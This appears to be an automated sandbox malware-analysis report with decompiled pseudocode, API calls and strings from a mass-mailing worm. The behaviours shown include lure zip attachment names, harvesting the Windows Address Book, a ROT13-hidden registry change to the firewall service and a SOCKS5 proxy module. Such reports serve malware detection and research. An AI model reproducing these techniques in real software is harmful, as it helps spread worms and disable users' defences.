				if(_t46 != 0) {
					_t70 =  *(_t77 + 1) & 0x000000ff;
					_t71 = 0;
					if(((_t46 & 0xffffff00 |  *_t77 != 0x00000001 | 0 | _t70 == 0x00000000) & 0x00000001) == 0) {
						_t53 = E1000128D( &_v284, _t74,  &_v284, _t70 + 1);
						_t71 = 0;
						if(_t53 != 0) {
							_t55 =  *(_t70 +  &_v284) & 0x000000ff;
							_v285 = _t55;
							_t71 = 0;
							if(_t55 != 0) {
								 *(_t70 +  &_v284) = 0;
								_t58 = E1000128D(_v285, _t74, _t77, _v285);
								_t71 = 0;
								if(_t58 != 0) {
									 *((char*)(_t77 + _v285)) = 0;
									_t60 =  &_v284;
									_v312 = _t60;
									_v316 = 0x10006054;
									L10003560();
									_t80 = _t79 - 8;
									if(_t60 == 0) {
										_v320 = _t77;
										 *_t80 = 0x100060c4;
										L10003560();
										_t80 = _t80 - 8;
										_v286 = _v286 &  ~(_t60 & 0xffffff00 | _t60 != 0x00000000);
									}
									 *_t77 = _v286 << 0x00000008 | 0x00000001;
									_v316 = 2;
									_v320 = _t77;
									 *_t80 = _t74;
									_t64 = E10001236(_v286 << 0x00000008 | 0x00000001);
									_t71 = 0;
									if(_t64 != 0) {
										_t71 = (_t64 & 0xffffff00 | _v286 == 0x00000000) & 0x000000ff;
									}
								}
							}
						}
					}
				}
				return _t71;
			}

0x10001a64
0x10001a67
0x10001a6a
0x10001a6d
0x10001a70
0x10001a73
0x10001a89
0x10001a8e
0x10001a95
0x10001a9b
0x10001aac
0x10001ab3
0x10001ace
0x10001ad3
0x10001ada
0x10001ae3
0x10001aeb
0x10001af1
0x10001af8
0x10001b01
0x10001b1b
0x10001b20
0x10001b27
0x10001b34
0x10001b38
0x10001b3e
0x10001b42
0x10001b49
0x10001b4e
0x10001b53
0x10001b55
0x10001b59
0x10001b60
0x10001b65
0x10001b6f
0x10001b6f
0x10001b82
0x10001b85
0x10001b8d
0x10001b91
0x10001b94
0x10001b99
0x10001ba0
0x10001bac
0x10001bac
0x10001ba0
0x10001b27
0x10001af8
0x10001ada
0x10001ab3
0x10001bbd

APIs

sread.SHERVANS ref: 10001A89
sread.SHERVANS ref: 10001ACE
sread.SHERVANS ref: 10001B1B
lstrcmp.KERNEL32 ref: 10001B49
lstrcmp.KERNEL32 ref: 10001B60
swrite.SHERVANS ref: 10001B94

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: sread$lstrcmp$swrite
String ID:
API String ID: 1841987066-0
Opcode ID: 50c29eabb491e391b19f89d7d52041d898abba3f9a3e0c212c36fa54c6efb9ac
Instruction ID: 02893088ef83d42b468dfb49456edce95aa81bf5added6d024bd8f99ab7a1a41
Opcode Fuzzy Hash: 50c29eabb491e391b19f89d7d52041d898abba3f9a3e0c212c36fa54c6efb9ac
Instruction Fuzzy Hash: EF316D74D083589EE711DF2485423EEBFEAEF84380F44849ED99897285E738DA85CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC80 Relevance: 9.1, APIs: 6, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E0040BC80(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v40;
				intOrPtr _v52;
				void* _t31;
				long _t34;
				void* _t35;
				void* _t36;
				intOrPtr* _t39;
				void* _t41;
				void* _t52;
				intOrPtr _t56;
				intOrPtr _t65;
				intOrPtr* _t67;
				long* _t68;
				intOrPtr* _t69;

				_v8 = __edi;
				_t60 = _a4;
				_v16 = __ebx;
				_v12 = __esi;
				_t63 =  *(_t60 + 0xc);
				if( *(_t60 + 0xc) == 0) {
					 *_t67 = _t60;
					return E0040B740();
				} else {
					_t31 =  *0x418284;
					if(_t31 == 0) {
						E0040B0E0(_t31);
						_t31 =  *0x418284;
					}
					_t49 =  *((intOrPtr*)(_t31 + 0x30));
					if( *((intOrPtr*)(_t31 + 0x30)) < 0) {
						E0040B3B0(_t49, _t63);
						_t31 =  *0x418284;
					}
					if( *((intOrPtr*)(_t31 + 0x30)) != 0) {
						_t34 = GetLastError();
						 *_t67 =  *((intOrPtr*)(_t31 + 0x2c));
						_t63 = _t34;
						_t35 = TlsGetValue(??);
						_t68 = _t67 - 4;
						 *_t68 = _t34;
						SetLastError(??);
						_t36 = _t35;
						_t67 = _t68 - 4;
					} else {
						_t36 =  *(_t31 + 0x28);
					}
					_v20 = _t36;
					_v24 = _t36;
					if(E0040B8D0(_t60,  &_v24) == 7) {
						_t41 =  *0x418284;
						_t52 = _v24;
						if(_t41 == 0) {
							E0040B0E0(_t41);
							_t41 =  *0x418284;
						}
						if( *((intOrPtr*)(_t41 + 0x30)) < 0) {
							E0040B3B0(_t52, _t63);
							_t41 =  *0x418284;
						}
						_t60 =  *((intOrPtr*)(_t41 + 0x30));
						if( *((intOrPtr*)(_t41 + 0x30)) != 0) {
							_v40 = _t52;
							 *_t67 =  *((intOrPtr*)(_t41 + 0x2c));
							if(TlsSetValue(??, ??) == 0) {
								GetLastError();
							}
						} else {
							 *((intOrPtr*)(_t41 + 0x28)) = _t52;
						}
						_t31 = _v24;
						_t65 =  *((intOrPtr*)(_t31 + 0x20));
						_t67 =  *((intOrPtr*)(_t31 + 0x28));
						goto __ecx;
					}
					abort();
					_push(_t65);
					_t69 = _t67 - 8;
					_t56 = _v40;
					_t39 =  *((intOrPtr*)(_t56 + 8));
					if(_t39 != 0) {
						_v52 = _t56;
						 *_t69 = 1;
						return  *_t39();
					} else {
						return _t39;
					}
				}
			}

0x0040bc86
0x0040bc89
0x0040bc8c
0x0040bc8f
0x0040bc92
0x0040bc97
0x0040bd12
0x0040bd26
0x0040bc99
0x0040bc99
0x0040bca0
0x0040bd06
0x0040bd0b
0x0040bd0b
0x0040bca2
0x0040bca7
0x0040bd81
0x0040bd86
0x0040bd86
0x0040bcb2
0x0040bd2a
0x0040bd30
0x0040bd33
0x0040bd35
0x0040bd3b
0x0040bd40
0x0040bd43
0x0040bd49
0x0040bd4b
0x0040bcb4
0x0040bcb4
0x0040bcb4
0x0040bcb7
0x0040bcbd
0x0040bcca
0x0040bcd0
0x0040bcd5
0x0040bcda
0x0040bd72
0x0040bd77
0x0040bd77
0x0040bce5
0x0040bd90
0x0040bd95
0x0040bd95
0x0040bceb
0x0040bcf0
0x0040bd56
0x0040bd5a
0x0040bd68
0x0040bd6a
0x0040bd6a
0x0040bcf2
0x0040bcf2
0x0040bcf2
0x0040bcf5
0x0040bcfe
0x0040bd01
0x0040bd04
0x0040bd04
0x0040bd9f
0x0040bdb0
0x0040bdb3
0x0040bdb6
0x0040bdb9
0x0040bdbe
0x0040bdc2
0x0040bdc6
0x0040bdd0
0x0040bdc1
0x0040bdc1
0x0040bdc1
0x0040bdbe

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0040A5BE,?,?,?,?,?,0040920F), ref: 0040BD2A
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,0040A5BE,?,?,?,?,?,0040920F), ref: 0040BD35
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,0040A5BE), ref: 0040BD43
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0040A5BE), ref: 0040BD5D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0040A5BE), ref: 0040BD6A
abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,0040A5BE), ref: 0040BD9F

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: ErrorLast$Value$abort
String ID:
API String ID: 2626461348-0
Opcode ID: d44fb8144051525f46a2ddd0a77b2159513e5a59cadc495b3667b9b5871e9868
Instruction ID: 54ad4b7b80f31364e908b692a5ee0ad386bd410343df76c18df6e0f8c4ff5425
Opcode Fuzzy Hash: d44fb8144051525f46a2ddd0a77b2159513e5a59cadc495b3667b9b5871e9868
Instruction Fuzzy Hash: A0312A70A04609CFDB40EF65D680AAAB7B4FF48300B1585BED855AB391DB34AD01CBDE

Uniqueness

Uniqueness Score: -1.00%

Function 00402A73 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 64stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402A87

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402AAF
lstrcat.KERNEL32 ref: 00402AD1
lstrcat.KERNEL32 ref: 00402AEB
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402B10

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Strings

Happy_birthday_to_you.zip, xrefs: 00402B05

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID: Happy_birthday_to_you.zip
API String ID: 1562643418-1870604427
Opcode ID: ab93de260d9d7b3f63fc38cf511f9f6f11fd8cbf9b2553f54f0ef4a6ba202e59
Instruction ID: cc83420afc5f1d077a3f5b7fbaa549a80263fd77f6117133aa0d2265757cdded
Opcode Fuzzy Hash: ab93de260d9d7b3f63fc38cf511f9f6f11fd8cbf9b2553f54f0ef4a6ba202e59
Instruction Fuzzy Hash: 3C21FF759043048BC710EF64D98169EBBF0EF84314F40897FE584A7341EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 004029C9 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 64stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 004029DD

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402A05
lstrcat.KERNEL32 ref: 00402A27
lstrcat.KERNEL32 ref: 00402A41
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402A66

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Strings

I_Love_You.zip, xrefs: 00402A5B

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID: I_Love_You.zip
API String ID: 1562643418-69349870
Opcode ID: 247b01801a7c8732d276e468bcc8b3b88bf3ed5fd2371333381e1382a1eb55e6
Instruction ID: f9bbb920bae34a53852b7a8ae3bd8492a159d249183d5996932f43f3eb41e795
Opcode Fuzzy Hash: 247b01801a7c8732d276e468bcc8b3b88bf3ed5fd2371333381e1382a1eb55e6
Instruction Fuzzy Hash: 3A21DF759043048BCB11EF64D98169EBBF4EF84314F40897FE585A7381EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00401B7E Relevance: 9.1, APIs: 6, Instructions: 54fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00401B93
fopen.MSVCRT ref: 00401BA8
realloc.MSVCRT ref: 00401BCF
fread.MSVCRT ref: 00401BF5
??3@YAXPAX@Z.MSVCRT ref: 00401C14
fclose.MSVCRT ref: 00401C1C

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: ??3@fclosefopenfreadmallocrealloc
String ID:
API String ID: 418953348-0
Opcode ID: cd82c47d2a0d14179ee5ff6a2821234b899268957919a795133ff3fc6cf18751
Instruction ID: 75d7d26d9218dbdf86978dcb23e5f4fbbd0c24693f44c664e0b05ab087c45b19
Opcode Fuzzy Hash: cd82c47d2a0d14179ee5ff6a2821234b899268957919a795133ff3fc6cf18751
Instruction Fuzzy Hash: 6E115A705087049BD300AF2AC4C475EFAE4EF44358F05893EE8C8AB3D2E77D98458B9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B040 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetAtomNameA.KERNEL32 ref: 0040B05F

Part of subcall function 0040C130: fprintf.MSVCRT ref: 0040C15D
Part of subcall function 0040C130: fflush.MSVCRT ref: 0040C16D
Part of subcall function 0040C130: abort.MSVCRT(?,?,?,?,?,0040B0BE), ref: 0040C172

Strings

GetAtomNameA (atom, s, sizeof(s)) != 0, xrefs: 0040B0BE
../../gcc/gcc/config/i386/w32-shared-ptr.c, xrefs: 0040B0B0
%s:%u: failed assertion `%s', xrefs: 0040B0A9
w32_sharedptr->size == sizeof(W32_EH_SHARED), xrefs: 0040B097

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: AtomNameabortfflushfprintf
String ID: %s:%u: failed assertion `%s'$../../gcc/gcc/config/i386/w32-shared-ptr.c$GetAtomNameA (atom, s, sizeof(s)) != 0$w32_sharedptr->size == sizeof(W32_EH_SHARED)
API String ID: 2513348418-2696369246
Opcode ID: 055b4f41610cf93c2adfb2054d8dbcce5caf57ff53a8ecc1339ea75a1b6def78
Instruction ID: b50ba6c1e0c48ccbfb779697640dc8edf1bacce25001569c98304d8c7ef809a2
Opcode Fuzzy Hash: 055b4f41610cf93c2adfb2054d8dbcce5caf57ff53a8ecc1339ea75a1b6def78
Instruction Fuzzy Hash: E50152B0A043459BCB049F65C49426BBFE0EB98304F10C83FD999AB785D37DD8849B8E

Uniqueness

Uniqueness Score: -1.00%

Function 0040396E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 004039A1
memset.MSVCRT ref: 004039CA
RegQueryValueExA.ADVAPI32 ref: 00403A08
RegCloseKey.ADVAPI32 ref: 00403A19

Part of subcall function 00403390: CreateFileA.KERNEL32 ref: 004033D2
Part of subcall function 00403390: GetFileSize.KERNEL32 ref: 00403409
Part of subcall function 00403390: CreateFileMappingA.KERNEL32 ref: 00403448
Part of subcall function 00403390: CloseHandle.KERNEL32 ref: 0040346E

Strings

Software\Microsoft\WAB\WAB4\Wab File Name, xrefs: 00403992

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: File$CloseCreate$HandleMappingOpenQuerySizeValuememset
String ID: Software\Microsoft\WAB\WAB4\Wab File Name
API String ID: 1684987478-619501371
Opcode ID: 693d4b3274321ff71e2d42a915d5b2b45d06d87ff800bc67c20065d722b332b6
Instruction ID: fb9affdcd003a3e7f59b61beff737c010c0f055de032600ad664b438ea4410d9
Opcode Fuzzy Hash: 693d4b3274321ff71e2d42a915d5b2b45d06d87ff800bc67c20065d722b332b6
Instruction Fuzzy Hash: EB119DB0804755DFD710EF25C98939FBBF4BB44348F40896EE88867381D7B996888F96

Uniqueness

Uniqueness Score: -1.00%

Function 00403E78 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00403EC7
RegSetValueExA.ADVAPI32 ref: 00403F06
RegCloseKey.ADVAPI32 ref: 00403F17

Strings

Flfgrz\PheeragPbagebyFrg\Freivprf\FunerqNpprff, xrefs: 00403E8C
Start, xrefs: 00403EF5

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: CloseOpenValue
String ID: Flfgrz\PheeragPbagebyFrg\Freivprf\FunerqNpprff$Start
API String ID: 779948276-912140713
Opcode ID: e296dfc2d9eb7ef9e349c09ed36716ed2307b031d9a666ead56965e2f71c0cc2
Instruction ID: 3e2d9bc1c4b7ca1d7eb8bd648e7caadb70e702096ae42ff705bea3b0919a5c49
Opcode Fuzzy Hash: e296dfc2d9eb7ef9e349c09ed36716ed2307b031d9a666ead56965e2f71c0cc2
Instruction Fuzzy Hash: 7101DBF0808315DBD710EF25C58575EBBF4BB44348F40C96DE988A7242E7789A4C8F56

Uniqueness

Uniqueness Score: -1.00%

Function 00405316 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00405316(char* __ebx) {
				void* _v8;
				char _v76;
				intOrPtr _v88;
				int _t5;
				char* _t9;
				char* _t11;
				char* _t13;
				void* _t14;
				intOrPtr* _t15;
				intOrPtr* _t16;
				char** _t17;

				_t15 = _t14 - 0x54;
				_v88 = 0x40;
				_t11 =  &_v76;
				 *_t15 = _t11;
				_t5 = gethostname(__ebx, ??);
				_t16 = _t15 - 8;
				 *_t16 = _t11;
				L004086D8();
				_t17 = _t16 - 4;
				_t13 = "192.168.1.2";
				if(_t5 != 0) {
					_t9 =  *( *( *(_t5 + 0xc)));
					 *_t17 = _t9;
					L004086E0();
					_t13 = _t9;
				}
				return _t13;
			}

0x0040531a
0x0040531d
0x00405325
0x00405328
0x0040532b
0x00405330
0x00405333
0x00405336
0x0040533b
0x0040533e
0x00405345
0x0040534c
0x0040534e
0x00405351
0x00405359
0x00405359
0x00405361

APIs

gethostname.WS2_32 ref: 0040532B
gethostbyname.WS2_32 ref: 00405336
inet_ntoa.WS2_32 ref: 00405351

Strings

@, xrefs: 0040531D
192.168.1.2, xrefs: 0040533E

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: gethostbynamegethostnameinet_ntoa
String ID: 192.168.1.2$@
API String ID: 289322838-3711723240
Opcode ID: 08511f6a8ca575260eebd435f8fc3ef842af75c020395b93753436b22eaa97bc
Instruction ID: 9ec42d045907c7db8908afb764d072bf234eb471670fc80d8c874dbff0fee724
Opcode Fuzzy Hash: 08511f6a8ca575260eebd435f8fc3ef842af75c020395b93753436b22eaa97bc
Instruction Fuzzy Hash: 7EE030B0A04B048FC700FF39C6C650ABBF4AF44348F06487DE986A7355EA38E9088B57

Uniqueness

Uniqueness Score: -1.00%

Function 10001451 Relevance: 7.6, APIs: 5, Instructions: 65
networkCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E10001451(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, signed int _a4, intOrPtr _a8, signed int _a12, signed short _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed short _v30;
				intOrPtr _v56;
				short _v58;
				void _v60;
				int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				signed short* _v100;
				signed int _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				signed int _t35;
				void* _t40;
				signed int _t51;
				signed int _t60;
				void* _t62;
				void* _t63;
				signed int* _t65;

				_v16 = __ebx;
				_v12 = __esi;
				_v8 = __edi;
				_t60 = _a12;
				_t35 = _a16 & 0x0000ffff;
				_v30 = _t35;
				_v84 = 0;
				_v88 = 1;
				_v92 = 2;
				L1000301C();
				_t63 = _t62 - 0xc;
				_t51 = _t35;
				if(_t35 != 0xffffffff) {
					asm("cld");
					memset( &_v60, 0, 4 << 2);
					_v60 = 2;
					_v56 =  *_t60;
					_v58 = _v30 & 0x0000ffff;
					_v96 = 0x10;
					_t40 =  &_v60;
					_v100 = _t40;
					_v104 = _t51;
					L10003024();
					_t65 = _t63 + 0xc - 0xc;
					if(_t40 == 0xffffffff) {
						_v100 =  &_v30;
						_v104 = _t60;
						_v108 = _a8;
						_v112 = 5;
						 *_t65 = _a4;
						E1000140F();
						 *_t65 = _t51;
						L10003014();
						_t51 = 0xffffffff;
					}
				} else {
					E1000140F(_a4, 1, _a8, _t60,  &_v30);
				}
				return _t51;
			}

0x10001457
0x1000145a
0x1000145d
0x10001460
0x10001463
0x10001467
0x1000146b
0x10001473
0x1000147b
0x10001482
0x10001487
0x1000148a
0x1000148f
0x100014bb
0x100014c6
0x100014c8
0x100014d0
0x100014d7
0x100014db
0x100014e3
0x100014e6
0x100014ea
0x100014ed
0x100014f2
0x100014f8
0x100014fd
0x10001501
0x10001508
0x1000150c
0x10001517
0x1000151a
0x1000151f
0x10001522
0x1000152a
0x1000152a
0x10001491
0x100014b1
0x100014b1
0x1000153d

APIs

socket.WS2_32 ref: 10001482
Socks5SendCode.SHERVANS ref: 100014B1

Part of subcall function 1000140F: swrite.SHERVANS ref: 1000144A

connect.WS2_32 ref: 100014ED
Socks5SendCode.SHERVANS ref: 1000151A
closesocket.WS2_32 ref: 10001522

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: CodeSendSocks5$closesocketconnectsocketswrite
String ID:
API String ID: 1690081365-0
Opcode ID: 226da635e8a6871d8eb6d44e768528b8faa0e03256744c755adbe7396fca87cb
Instruction ID: 20981c635e85231f24b59aa8ab89d4f0d4c72e8356007f7a924271a659283d8c
Opcode Fuzzy Hash: 226da635e8a6871d8eb6d44e768528b8faa0e03256744c755adbe7396fca87cb
Instruction Fuzzy Hash: 5821C6B5904309ABDB00DFA8D48429EBBF4FF48360F108A2EF99897391D375A954DB52

Uniqueness

Uniqueness Score: -1.00%

Function 004028E2 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 44stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 004028F6
lstrcat.KERNEL32 ref: 00402910
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402929

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Strings

L@, xrefs: 004028FE
admin@bigtits.com, xrefs: 00402918

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

